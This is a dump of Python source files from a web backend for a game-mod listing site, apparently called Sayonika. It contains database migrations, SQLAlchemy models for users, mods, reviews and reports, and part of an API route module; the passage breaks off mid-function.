\"report\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"content\", sa.Unicode(length=1000), nullable=True),\n sa.Column(\"author_id\", sa.Unicode(), nullable=True),\n sa.Column(\"mod_id\", sa.Unicode(), nullable=True),\n sa.Column(\"type\", enums[\"report_type\"], nullable=True),\n sa.ForeignKeyConstraint(\n [\"author_id\"], [\"user.id\"], name=op.f(\"fk_report_author_id_user\")\n ),\n sa.ForeignKeyConstraint(\n [\"mod_id\"], [\"mod.id\"], name=op.f(\"fk_report_mod_id_mod\")\n ),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_report\")),\n )\n op.create_table(\n \"review\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"rating\", sa.Numeric(), nullable=True),\n sa.Column(\"content\", sa.Unicode(length=2000), nullable=True),\n sa.Column(\"title\", sa.Unicode(length=32), nullable=True),\n sa.Column(\"mod_id\", sa.Unicode(), nullable=True),\n sa.Column(\"author_id\", sa.Unicode(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"author_id\"], [\"user.id\"], name=op.f(\"fk_review_author_id_user\")\n ),\n sa.ForeignKeyConstraint(\n [\"mod_id\"], [\"mod.id\"], name=op.f(\"fk_review_mod_id_mod\")\n ),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_review\")),\n )\n op.create_table(\n \"user_favorite\",\n sa.Column(\"user_id\", sa.Unicode(), nullable=True),\n sa.Column(\"mod_id\", sa.Unicode(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"mod_id\"], [\"mod.id\"], name=op.f(\"fk_user_favorite_mod_id_mod\")\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"], [\"user.id\"], name=op.f(\"fk_user_favorite_user_id_user\")\n ),\n )\n op.create_table(\n \"user_mod\",\n sa.Column(\"role\", enums[\"author_role\"], nullable=True),\n sa.Column(\"user_id\", sa.Unicode(), nullable=True),\n sa.Column(\"mod_id\", sa.Unicode(), nullable=True),\n sa.ForeignKeyConstraint(\n [\"mod_id\"], [\"mod.id\"], name=op.f(\"fk_user_mod_mod_id_mod\")\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"], [\"user.id\"], name=op.f(\"fk_user_mod_user_id_user\")\n ),\n )\n op.create_table(\n \"review_reaction\",\n sa.Column(\"review_id\", sa.Unicode(), nullable=True),\n sa.Column(\"user_id\", sa.Unicode(), nullable=True),\n sa.Column(\"reaction\", enums[\"reaction_type\"], nullable=False),\n sa.ForeignKeyConstraint(\n [\"review_id\"],\n [\"review.id\"],\n name=op.f(\"fk_review_reaction_review_id_review\"),\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"], [\"user.id\"], name=op.f(\"fk_review_reaction_user_id_user\")\n ),\n )\n\n\ndef downgrade():\n op.drop_table(\"review_reaction\")\n op.drop_table(\"user_mod\")\n op.drop_table(\"user_favorite\")\n op.drop_table(\"review\")\n op.drop_table(\"report\")\n op.drop_table(\"mod_playtester\")\n op.drop_table(\"media\")\n op.drop_table(\"editors_choice\")\n op.drop_table(\"connection\")\n op.drop_table(\"user\")\n op.drop_table(\"mod\")\n\n op_bind = op.get_bind()\n\n for enum in enums.values():\n enum.drop(op_bind, checkfirst=False)\n", "id": "7119872", "language": "Python", "matching_score": 5.899843215942383, "max_stars_count": 3, "path": "migrations/3007e0d40f26_fresh_migrate.py" }, { "content": "# Stdlib\nfrom enum import Enum\n\n\nclass ModStatus(Enum):\n \"\"\"All valid statuses for a mod.\"\"\"\n\n archived = 0\n planning = 1\n in_development = 2\n playtesting = 3\n released = 4\n\n\nclass ConnectionType(Enum):\n \"\"\"All valid service types for profile connections.\"\"\"\n\n github = 0\n gitlab = 1\n discord = 2\n\n\nclass MediaType(Enum):\n image = 0\n video = 1\n\n\nclass ModCategory(Enum):\n \"\"\"All valid categories for a mod.\"\"\"\n\n unassigned = 0\n tools = 1\n comedy = 2\n tragic_comedy = 3\n drama = 4\n rom_com = 5\n romance = 6\n horror = 7\n mystery = 8\n satire = 9 # Elected Satire instead of Memes and Satire since Memes can fall under satire anyways.\n thriller = (\n 10 # Compressed Suspense/Thriller into this since they're almost the same.\n )\n sci_fi = 11\n\n\nclass ModColor(Enum):\n \"\"\"All valid theme colours for a mod.\"\"\"\n\n default = 0 # Default Sayonika theme colour\n red = 1\n pink = 2\n purple = 3\n deep_purple = 4\n indigo = 5\n blue = 6\n cyan = 7\n teal = 8\n green = 9\n lime = 10\n yellow = 11\n orange = 12\n deep_orange = 13\n\n\nclass AuthorRole(Enum):\n \"\"\"All valid roles for mod authors.\"\"\"\n\n unassigned = 0\n owner = 1\n co_owner = 2\n programmer = 3\n artist = 4\n writer = 5\n musician = 6\n public_relations = 7\n\n\nclass ReportType(Enum):\n ipg_violation = 0\n conduct_violation = 1\n dmca = 2\n\n\nclass ReactionType(Enum):\n upvote = 0\n downvote = 1\n funny = 2\n\n\nclass UserReportType(Enum):\n illegal_content = 0\n harrasment = 1\n spam = 2\n tos_violation = 3\n", "id": "2333653", "language": "Python", "matching_score": 4.01529598236084, "max_stars_count": 3, "path": "framework/models/enums.py" }, { "content": "from .base import Base\nfrom .connection import Connection\nfrom .editors_choice import EditorsChoice\nfrom .enums import (\n ModColor,\n MediaType,\n ModStatus,\n AuthorRole,\n ReportType,\n ModCategory,\n ReactionType,\n ConnectionType,\n UserReportType,\n)\nfrom .media import Media\nfrom .mod import Mod, ModAuthor, ModPlaytester\nfrom .report import Report, UserReport\nfrom .review import Review, ReviewReaction\nfrom .user import User, UserFavorite\n\n__all__ = (\n \"AuthorRole\",\n \"Base\",\n \"Connection\",\n \"ModStatus\",\n \"ModCategory\",\n \"ModColor\",\n \"ConnectionType\",\n \"MediaType\",\n \"Media\",\n \"Mod\",\n \"Report\",\n \"Review\",\n \"ReviewDownvoters\",\n \"ReviewFunnys\",\n \"ReviewUpvoters\",\n \"User\",\n \"UserFavorite\",\n \"ModAuthor\",\n \"EditorsChoice\",\n \"Playtesters\",\n \"ReportType\",\n \"ReactionType\",\n \"ModPlaytester\",\n \"ReviewReaction\",\n \"UserReportType\",\n \"UserReport\",\n)\n", "id": "9822747", "language": "Python", "matching_score": 2.6472766399383545, "max_stars_count": 3, "path": "framework/models/__init__.py" }, { "content": "# Stdlib\nfrom datetime import datetime\nfrom typing import TYPE_CHECKING\n\n# External Libraries\nfrom sqlalchemy.engine.default import DefaultExecutionContext\n\n# Sayonika Internals\nfrom framework.objects import db\nfrom framework.utils import generalize_text\n\nfrom .base import Base\nfrom .enums import ModColor, ModStatus, AuthorRole, ModCategory\n\nif TYPE_CHECKING:\n from .user import User\n from .media import Media\n\n\ndef create_generalized_title(context: DefaultExecutionContext) -> str:\n params = context.get_current_parameters()\n return generalize_text(params[\"title\"])\n\n\nclass Mod(db.Model, Base):\n __tablename__ = \"mod\"\n\n title = db.Column(db.Unicode(64), unique=True)\n generalized_title = db.Column(\n db.Unicode(), unique=True, default=create_generalized_title\n )\n icon = db.Column(db.Unicode())\n banner = db.Column(db.Unicode())\n tagline = db.Column(db.Unicode(100))\n description = db.Column(db.Unicode(10000))\n website = db.Column(db.Unicode())\n is_private_beta = db.Column(db.Boolean(), default=False)\n category = db.Column(db.Enum(ModCategory), default=ModCategory.unassigned)\n nsfw = db.Column(db.Boolean(), default=False)\n theme_color = db.Column(db.Enum(ModColor))\n released_at = db.Column(db.Date(), nullable=True)\n last_updated = db.Column(\n db.DateTime(), default=datetime.utcnow, onupdate=datetime.utcnow\n )\n status = db.Column(db.Enum(ModStatus))\n # TODO: probably turn this into a table and have better metrics for determining DLs\n downloads = db.Column(db.BigInteger(), default=0)\n download_url = db.Column(db.Unicode(), nullable=True)\n verified = db.Column(db.Boolean(), default=False)\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n self._authors = []\n self._owner = None\n self._media = []\n\n @property\n def authors(self):\n return self._authors\n\n @authors.setter\n def authors(self, value: \"User\"):\n if hasattr(value, \"role\"):\n # TODO: try to figure this out in the loader query.\n\n if value.role.role == AuthorRole.owner:\n self._owner = value\n return\n\n self._authors.append(value)\n\n @property\n def owner(self):\n return self._owner\n\n @property\n def media(self):\n return self._media\n\n @media.setter\n def media(self, value: \"Media\"):\n self._media.append(value)\n\n def to_dict(self):\n return {\n **{\n k: v\n for k, v in super().to_dict().items()\n if k not in (\"generalized_title\",)\n },\n \"authors\": self._authors,\n \"owner\": self._owner,\n \"media\": self._media,\n }\n\n\nclass ModAuthor(db.Model, Base):\n __tablename__ = \"user_mod\"\n\n role = db.Column(db.Enum(AuthorRole), default=AuthorRole.unassigned)\n user_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n mod_id = db.Column(None, db.ForeignKey(\"mod.id\", ondelete=\"CASCADE\"))\n\n\nclass ModPlaytester(db.Model, Base):\n __tablename__ = \"mod_playtester\"\n\n user_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n mod_id = db.Column(None, db.ForeignKey(\"mod.id\", ondelete=\"CASCADE\"))\n", "id": "8435667", "language": "Python", "matching_score": 4.349411487579346, "max_stars_count": 3, "path": "framework/models/mod.py" }, { "content": "# External Libraries\nfrom sqlalchemy.engine.default import DefaultExecutionContext\n\n# Sayonika Internals\nfrom framework.objects import db\nfrom framework.utils import generate_gravatar\n\nfrom .base import Base\nfrom .mod import ModAuthor\n\nCOMMON_FILTERED = (\"password\", \"last_pass_reset\", \"email_verified\")\nDEFAULT_FILTERED = (*COMMON_FILTERED, \"email\")\n\n\ndef create_default_avatar(context: DefaultExecutionContext) -> str:\n params = context.get_current_parameters()\n return generate_gravatar(params[\"email\"])\n\n\nclass User(db.Model, Base):\n __tablename__ = \"user\"\n\n email = db.Column(db.Unicode(), unique=True)\n username = db.Column(db.Unicode(25), unique=True)\n avatar = db.Column(db.Unicode(), nullable=True, default=create_default_avatar)\n bio = db.Column(db.Unicode(100), nullable=True)\n supporter = db.Column(db.Boolean(), default=False)\n developer = db.Column(db.Boolean(), default=False)\n moderator = db.Column(db.Boolean(), default=False)\n editor = db.Column(db.Boolean(), default=False)\n email_verified = db.Column(db.Boolean(), default=False)\n password = db.Column(db.Binary())\n last_pass_reset = db.Column(db.DateTime())\n\n def __init__(self, **kwargs):\n super().__init__(**kwargs)\n\n self._role = None\n self._role_name = None\n\n @property\n def role(self):\n return self._role\n\n @role.setter\n def role(self, value: ModAuthor):\n self._role = value\n self._role_name = value.role.name\n\n def to_dict(self):\n return {\n **{k: v for k, v in super().to_dict().items() if k not in DEFAULT_FILTERED},\n \"role\": self._role_name,\n # \"__\": self._role.to_dict()\n }\n\n def to_self_dict(self):\n \"\"\"\n Converts the model to a dict, but keeps `email` in.\n Used for the `/users/@me` endpoint in particular.\n \"\"\"\n return {k: v for k, v in super().to_dict().items() if k not in COMMON_FILTERED}\n\n\nclass UserFavorite(db.Model, Base):\n __tablename__ = \"user_favorite\"\n\n user_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n mod_id = db.Column(None, db.ForeignKey(\"mod.id\", ondelete=\"CASCADE\"))\n", "id": "3510429", "language": "Python", "matching_score": 1.2178666591644287, "max_stars_count": 3, "path": "framework/models/user.py" }, { "content": "# flake8: noqa: E128\n\"\"\"\nAdd cascades\n\nRevision ID: <KEY>\nRevises: <PASSWORD>\nCreate Date: 2019-05-02 10:57:00.579594+00:00\n\"\"\"\n# Stdlib\nimport re\n\n# External Libraries\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"<KEY>\"\ndown_revision = \"<PASSWORD>\"\nbranch_labels = None\ndepends_on = None\n\nconstraint_re = re.compile(\n r\"^fk_\" # Start tag\n r\"(.*)_\" # Table\n r\"((?:author|user|mod|review)(?:_id)?)_\" # Column\n r\"(.*)$\" # Foreign table\n)\n\nconstraints = [\n \"fk_connection_user_user\",\n \"fk_editors_choice_author_id_user\",\n \"fk_editors_choice_mod_id_mod\",\n \"fk_media_mod_id_mod\",\n \"fk_mod_playtester_mod_id_mod\",\n \"fk_mod_playtester_user_id_user\",\n \"fk_report_author_id_user\",\n \"fk_report_mod_id_mod\",\n \"fk_review_author_id_user\",\n \"fk_review_mod_id_mod\",\n \"fk_review_reaction_review_id_review\",\n \"fk_review_reaction_user_id_user\",\n \"fk_user_favorite_user_id_user\",\n \"fk_user_favorite_mod_id_mod\",\n \"fk_user_mod_user_id_user\",\n \"fk_user_mod_mod_id_mod\",\n]\n\n\ndef upgrade():\n for constraint in constraints:\n # Get all parts of constraint (table[_table part 2]_column[_column part 2]_foreign_table)\n table, column, foreign = constraint_re.match(constraint).groups()\n\n op.drop_constraint(constraint, table, type_=\"foreignkey\")\n op.create_foreign_key(\n op.f(constraint), table, foreign, [column], [\"id\"], ondelete=\"CASCADE\"\n )\n\n\ndef downgrade():\n for constraint in constraints:\n # Get all parts of constraint (table[_table part 2]_column[_column part 2]_foreign_table)\n table, column, foreign = constraint_re.match(constraint).groups()\n\n op.drop_constraint(op.f(constraint), table, type_=\"foreignkey\")\n op.create_foreign_key(constraint, table, foreign, [column], [\"id\"])\n", "id": "11236531", "language": "Python", "matching_score": 2.3872427940368652, "max_stars_count": 3, "path": "migrations/2c6a0e4b5616_add_cascades.py" }, { "content": "# flake8: noqa: E128\n\"\"\"\nAdd ids to joining tables\n\nRevision ID: 26<PASSWORD>2<PASSWORD>\nRevises: <PASSWORD>\nCreate Date: 2019-05-10 09:34:03.509191+00:00\n\"\"\"\n# External Libraries\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = \"26b0c71d2c11\"\ndown_revision = \"<PASSWORD>\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # Lambads to create new instances cause SA doesn't like reusing em :/\n id_ = lambda: sa.Column(\"id\", sa.Unicode(), nullable=False)\n created_at = lambda: sa.Column(\"created_at\", sa.DateTime(), nullable=True)\n\n op.add_column(\"mod_playtester\", id_())\n op.add_column(\"mod_playtester\", created_at())\n op.add_column(\"review_reaction\", id_())\n op.add_column(\"review_reaction\", created_at())\n op.add_column(\"user_favorite\", id_())\n op.add_column(\"user_favorite\", created_at())\n op.add_column(\"user_mod\", id_())\n op.add_column(\"user_mod\", created_at())\n\n\ndef downgrade():\n op.drop_column(\"user_mod\", \"id\")\n op.drop_column(\"user_mod\", \"created_at\")\n op.drop_column(\"user_favorite\", \"id\")\n op.drop_column(\"user_favorite\", \"created_at\")\n op.drop_column(\"review_reaction\", \"id\")\n op.drop_column(\"review_reaction\", \"created_at\")\n op.drop_column(\"mod_playtester\", \"id\")\n op.drop_column(\"mod_playtester\", \"created_at\")\n", "id": "12076432", "language": "Python", "matching_score": 2.65810227394104, "max_stars_count": 3, "path": "migrations/26b0c71d2c11_add_ids_to_joining_tables.py" }, { "content": "# flake8: noqa: E128\n\"\"\"\nGeneralized titles\n\nRevision ID: f3ceaef6a714\nRevises: 2c6a0e4b5616\nCreate Date: 2019-05-03 12:43:18.326629+00:00\n\"\"\"\n# External Libraries\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = \"f3ceaef6a714\"\ndown_revision = \"<KEY>\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.add_column(\"mod\", sa.Column(\"generalized_title\", sa.Unicode(), nullable=True))\n op.create_unique_constraint(\n op.f(\"uq_mod_generalized_title\"), \"mod\", [\"generalized_title\"]\n )\n\n\ndef downgrade():\n op.drop_constraint(op.f(\"uq_mod_generalized_title\"), \"mod\", type_=\"unique\")\n op.drop_column(\"mod\", \"generalized_title\")\n", "id": "2466271", "language": "Python", "matching_score": 2.283827304840088, "max_stars_count": 3, "path": "migrations/f3ceaef6a714_generalized_titles.py" }, { "content": "# flake8: noqa: E128\n\"\"\"\nIPFS migrate\n\nRevision ID: c4ac52456d9c\nRevises: <PASSWORD>\nCreate Date: 2020-01-17 12:18:02.022665+00:00\n\"\"\"\n# External Libraries\nfrom alembic import op\nimport gino\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"c4ac52456d9c\"\ndown_revision = \"<PASSWORD>\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table(\n \"userreport\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"content\", sa.Unicode(length=1000), nullable=True),\n sa.Column(\"author_id\", sa.Unicode(), nullable=True),\n sa.Column(\"user_id\", sa.Unicode(), nullable=True),\n sa.Column(\n \"type\",\n postgresql.ENUM(\n \"illegal_content\",\n \"harrasment\",\n \"spam\",\n \"tos_violation\",\n name=\"userreporttype\",\n ),\n nullable=True,\n ),\n sa.ForeignKeyConstraint(\n [\"author_id\"], [\"user.id\"], name=op.f(\"fk_userreport_author_id_user\")\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"], [\"user.id\"], name=op.f(\"fk_userreport_user_id_user\")\n ),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_userreport\")),\n )\n\n op.drop_table(\"user_report\")\n op.add_column(\"media\", sa.Column(\"hash\", sa.Unicode(), nullable=True))\n op.drop_column(\"media\", \"url\")\n\n\ndef downgrade():\n op.add_column(\n \"media\", sa.Column(\"url\", sa.VARCHAR(), autoincrement=False, nullable=True)\n )\n op.drop_column(\"media\", \"hash\")\n op.create_table(\n \"user_report\",\n sa.Column(\"id\", sa.VARCHAR(), autoincrement=False, nullable=False),\n sa.Column(\n \"created_at\", postgresql.TIMESTAMP(), autoincrement=False, nullable=True\n ),\n sa.Column(\n \"content\", sa.VARCHAR(length=1000), autoincrement=False, nullable=True\n ),\n sa.Column(\"author_id\", sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.Column(\"user_id\", sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.Column(\n \"type\",\n postgresql.ENUM(\n \"ipg_violation\", \"conduct_violation\", \"dmca\", name=\"reporttype\"\n ),\n autoincrement=False,\n nullable=True,\n ),\n sa.ForeignKeyConstraint(\n [\"author_id\"],\n [\"user.id\"],\n name=\"fk_user_report_author_id_user\",\n ondelete=\"CASCADE\",\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"],\n [\"user.id\"],\n name=\"fk_user_report_user_id_user\",\n ondelete=\"CASCADE\",\n ),\n sa.PrimaryKeyConstraint(\"id\", name=\"pk_user_report\"),\n )\n\n op.drop_table(\"userreport\")\n", "id": "1070405", "language": "Python", "matching_score": 6.665820121765137, "max_stars_count": 3, "path": "migrations/c4ac52456d9c_ipfs_migrate.py" }, { "content": "# flake8: noqa: E128\n\"\"\"\nUser reports\n\nRevision ID: <KEY>\nRevises: <PASSWORD>\nCreate Date: 2019-06-08 13:27:55.721065+00:00\n\"\"\"\n# External Libraries\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects.postgresql import ENUM as Enum\n\n\n# revision identifiers, used by Alembic.\nrevision = \"<KEY>\"\ndown_revision = \"<PASSWORD>\"\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n op.create_table(\n \"user_report\",\n sa.Column(\"id\", sa.Unicode(), nullable=False),\n sa.Column(\"created_at\", sa.DateTime(), nullable=True),\n sa.Column(\"content\", sa.Unicode(length=1000), nullable=True),\n sa.Column(\"author_id\", sa.Unicode(), nullable=True),\n sa.Column(\"user_id\", sa.Unicode(), nullable=True),\n sa.Column(\n \"type\",\n Enum(\n \"ipg_violation\",\n \"conduct_violation\",\n \"dmca\",\n name=\"reporttype\",\n create_type=False,\n ),\n nullable=True,\n ),\n sa.ForeignKeyConstraint(\n [\"author_id\"],\n [\"user.id\"],\n name=op.f(\"fk_user_report_author_id_user\"),\n ondelete=\"CASCADE\",\n ),\n sa.ForeignKeyConstraint(\n [\"user_id\"],\n [\"user.id\"],\n name=op.f(\"fk_user_report_user_id_user\"),\n ondelete=\"CASCADE\",\n ),\n sa.PrimaryKeyConstraint(\"id\", name=op.f(\"pk_user_report\")),\n )\n\n\ndef downgrade():\n op.drop_table(\"user_report\")\n", "id": "8257489", "language": "Python", "matching_score": 2.7834906578063965, "max_stars_count": 3, "path": "migrations/0f0aacf8c646_user_reports.py" }, { "content": "# Sayonika Internals\nfrom framework.objects import db\n\nfrom .base import Base\nfrom .enums import ReportType, UserReportType\n\n\nclass Report(db.Model, Base):\n __tablename__ = \"report\"\n\n content = db.Column(db.Unicode(1000))\n author_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n mod_id = db.Column(None, db.ForeignKey(\"mod.id\", ondelete=\"CASCADE\"))\n type = db.Column(db.Enum(ReportType))\n\n\nclass UserReport(db.Model, Base):\n __tablename__ = \"userreport\" # No underscore, as its not a many-many relationship.\n\n content = db.Column(db.Unicode(1000))\n author_id = db.Column(None, db.ForeignKey(\"user.id\"))\n user_id = db.Column(None, db.ForeignKey(\"user.id\"))\n type = db.Column(db.Enum(UserReportType))\n", "id": "5562861", "language": "Python", "matching_score": 4.438285827636719, "max_stars_count": 3, "path": "framework/models/report.py" }, { "content": "# Sayonika Internals\nfrom framework.objects import db\n\nfrom .base import Base\nfrom .enums import ReportType\n\n\nclass UserReport(db.Model, Base):\n __tablename__ = \"user_report\"\n\n content = db.Column(db.Unicode(1000))\n author_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n user_id = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n type = db.Column(db.Enum(ReportType))\n", "id": "2774316", "language": "Python", "matching_score": 2.8890669345855713, "max_stars_count": 3, "path": "framework/models/user_report.py" }, { "content": "# Sayonika Internals\nfrom framework.objects import db\n\nfrom .base import Base\nfrom .enums import MediaType\n\n\nclass Media(db.Model, Base):\n __tablename__ = \"media\"\n\n type = db.Column(db.Enum(MediaType))\n hash = db.Column(db.Unicode())\n mod_id = db.Column(None, db.ForeignKey(\"mod.id\", ondelete=\"CASCADE\"))\n", "id": "941230", "language": "Python", "matching_score": 3.396470069885254, "max_stars_count": 3, "path": "framework/models/media.py" }, { "content": "# Sayonika Internals\nfrom framework.objects import db\n\nfrom .base import Base\nfrom .enums import ConnectionType\n\n\nclass Connection(db.Model, Base):\n __tablename__ = \"connection\"\n\n name = db.Column(db.Unicode())\n type = db.Column(db.Enum(ConnectionType))\n user = db.Column(None, db.ForeignKey(\"user.id\", ondelete=\"CASCADE\"))\n", "id": "1726047", "language": "Python", "matching_score": 0.19134938716888428, "max_stars_count": 3, "path": "framework/models/connection.py" }, { "content": "# Stdlib\nimport base64\nfrom enum import Enum\nimport imghdr\nimport re\nfrom typing import List, Tuple, Union, Optional\n\n# External Libraries\nfrom marshmallow import Schema\nfrom marshmallow_enum import EnumField\nfrom marshmallow_union import Union as UnionField\nfrom quart import abort, jsonify\nfrom sqlalchemy import and_, func, select\nfrom webargs import fields, validate\n\n# Sayonika Internals\nfrom framework.models import (\n Mod,\n User,\n Media,\n Report,\n Review,\n ModColor,\n ModAuthor,\n ModStatus,\n AuthorRole,\n ReportType,\n ModCategory,\n ReactionType,\n UserFavorite,\n EditorsChoice,\n ModPlaytester,\n ReviewReaction,\n MediaType,\n)\nfrom framework.objects import db, limiter\nfrom framework.quart_webargs import use_kwargs\nfrom framework.route import route, multiroute\nfrom framework.route_wrappers import json, requires_login, requires_supporter\nfrom framework.routecog import RouteCog\nfrom framework.sayonika import Sayonika\nfrom framework.utils import (\n paginate,\n get_token_user,\n generalize_text,\n verify_recaptcha,\n ipfs_upload,\n)\n\n\nclass AuthorSchema(Schema):\n id = fields.Str()\n role = EnumField(AuthorRole)\n\n\nclass ModSorting(Enum):\n title = 0\n rating = 1\n last_updated = 2\n release_date = 3\n downloads = 4\n\n\nclass ReviewSorting(Enum):\n best = 0\n newest = 1\n oldest = 2\n highest = 3\n lowest = 4\n funniest = 5\n\n\ndef is_acceptable_img(data: str) -> bool:\n \"\"\"Check if a given file data is a PNG or JPEG.\"\"\"\n return imghdr.test_png(data, None) or imghdr.test_jpeg(data, None)\n\n\ndef get_b64_size(data: bytes) -> int:\n \"\"\"Get the size of data encoded in base64.\"\"\"\n return (len(data) * 3) / 4 - data.count(b\"=\", -2)\n\n\ndef validate_img(\n uri: str, name: str, *, return_data: bool = True\n) -> Optional[Tuple[str, bytes]]:\n \"\"\"Validates an image to be used for banner or icon.\"\"\"\n # Pre-requirements for uri (determine proper type and size).\n mimetype, data = DATA_URI_RE.match(uri).groups()\n\n if mimetype not in ACCEPTED_MIMETYPES:\n abort(\n 400,\n f\"`{name}` mimetype should either be 'image/png', 'image/jpeg', or 'image/webp'\",\n )\n\n # Get first 33 bytes of icon data and decode. See: https://stackoverflow.com/a/34287968/8778928\n sample = base64.b64decode(data[:44])\n type_ = is_acceptable_img(sample)\n\n if type_ is None:\n abort(400, f\"`{name}` data is not PNG, JPEG, or WEBP\")\n elif (\n type_ != mimetype.split(\"/\")[1]\n ): # Compare type from mimetype and actual image data type\n abort(400, f\"`{name}` mimetype and data mismatch\")\n\n size = get_b64_size(data.encode(\"utf-8\"))\n\n if size > (5 * 1000 * 1000): # Check if image is larger than 5MB\n abort(400, f\"`{name}` should be less than 5MB\")\n\n return (mimetype, data) if return_data else None\n\n\nACCEPTED_MIMETYPES = (\"image/png\", \"image/jpeg\", \"image/webp\")\nDATA_URI_RE = re.compile(r\"data:([a-z]+/[a-z-.+]+);base64,([a-zA-Z0-9/+]+=*)\")\nmod_sorters = {\n ModSorting.title: Mod.title,\n # ModSorting.rating: lambda ascending:\n ModSorting.last_updated: Mod.last_updated,\n ModSorting.release_date: Mod.released_at,\n ModSorting.downloads: Mod.downloads,\n}\n\n# Best and funniest handled separately\nreview_sorters = {\n ReviewSorting.newest: Review.created_at,\n ReviewSorting.oldest: Review.created_at.asc(),\n ReviewSorting.highest: Review.rating,\n ReviewSorting.lowest: Review.rating.asc(),\n}\n\n\ndef b64img_field(name: str):\n return fields.Str(\n validate=validate.Regexp(\n DATA_URI_RE,\n error=(\n f\"`{name}` should be a data uri like 'data:image/png;base64,<data>' or \"\n \"'data:image/jpeg;base64,<data>'\"\n ),\n ),\n required=True,\n )\n\n\nclass Mods(RouteCog):\n @staticmethod\n def dict_all(models):\n return [m.to_dict() for m in models]\n\n @multiroute(\"/api/v1/mods\", methods=[\"GET\"], other_methods=[\"POST\"])\n @json\n @use_kwargs(\n {\n \"q\": fields.Str(),\n \"page\": fields.Int(missing=0),\n \"limit\": fields.Int(missing=50),\n \"category\": EnumField(ModCategory),\n \"rating\": fields.Int(validate=validate.OneOf([1, 2, 3, 4, 5])),\n \"status\": EnumField(ModStatus),\n \"sort\": EnumField(ModSorting),\n \"ascending\": fields.Bool(missing=False),\n },\n locations=(\"query\",),\n )\n async def get_mods(\n self,\n q: str = None,\n page: int = None,\n limit: int = None,\n category: ModCategory = None,\n rating: int = None,\n status: ModStatus = None,\n sort: ModSorting = None,\n ascending: bool = None,\n ):\n if not 1 <= limit <= 100:\n limit = max(\n 1, min(limit, 100)\n ) # Clamp `limit` to 1 or 100, whichever is appropriate\n\n page = page - 1 if page > 0 else 0\n query = Mod.query.where(Mod.verified)\n\n if q is not None:\n like = f\"%{q}%\"\n\n query = query.where(\n and_(\n Mod.title.match(q),\n Mod.tagline.match(q),\n Mod.description.match(q),\n Mod.title.ilike(like),\n Mod.tagline.ilike(like),\n Mod.description.ilike(like),\n )\n )\n\n if category is not None:\n query = query.where(Mod.status == category)\n\n if rating is not None:\n query = query.where(\n rating + 1\n > db.select(\n [func.avg(Review.select(\"rating\").where(Review.mod_id == Mod.id))]\n )\n >= rating\n )\n\n if status is not None:\n query = query.where(Mod.status == status)\n\n if sort is not None:\n sort_by = mod_sorters[sort]\n query = query.order_by(sort_by.asc() if ascending else sort_by.desc())\n\n results = await paginate(query, page, limit).gino.all()\n total = await query.alias().count().gino.scalar()\n\n return jsonify(\n total=total, page=page, limit=limit, results=self.dict_all(results)\n )\n\n @multiroute(\"/api/v1/mods\", methods=[\"POST\"], other_methods=[\"GET\"])\n @requires_login\n @json\n @use_kwargs(\n {\n \"title\": fields.Str(required=True, validate=validate.Length(max=64)),\n \"tagline\": fields.Str(required=True, validate=validate.Length(max=100)),\n \"description\": fields.Str(\n required=True, validate=validate.Length(min=100, max=10000)\n ),\n \"website\": fields.Url(required=True),\n \"status\": EnumField(ModStatus, required=True),\n \"category\": EnumField(ModCategory, required=True),\n \"authors\": fields.List(fields.Nested(AuthorSchema), required=True),\n \"icon\": b64img_field(\"icon\"),\n \"banner\": b64img_field(\"banner\"),\n \"media\": fields.List(b64img_field(\"media\"), required=True),\n \"is_private_beta\": fields.Bool(missing=False),\n \"mod_playtester\": fields.List(fields.Str()),\n \"color\": EnumField(ModColor, missing=ModColor.default),\n \"recaptcha\": fields.Str(required=True),\n },\n locations=(\"json\",),\n )\n async def post_mods(\n self,\n title: str,\n tagline: str,\n description: str,\n website: str,\n authors: List[dict],\n status: ModStatus,\n category: ModCategory,\n icon: str,\n banner: str,\n media: List[str],\n recaptcha: str,\n color: ModColor,\n is_private_beta: bool = None,\n mod_playtester: List[str] = None,\n ):\n score = await verify_recaptcha(recaptcha, self.core.aioh_sess, \"create_mod\")\n\n if score < 0.5:\n # TODO: discuss what to do here\n abort(400, \"Possibly a bot\")\n\n user_id = await get_token_user()\n\n # Check if any mod with a similar enough name exists already.\n generalized_title = generalize_text(title)\n mods = await Mod.get_any(True, generalized_title=generalized_title).first()\n\n if mods is not None:\n abort(400, \"A mod with that title already exists\")\n\n if status is 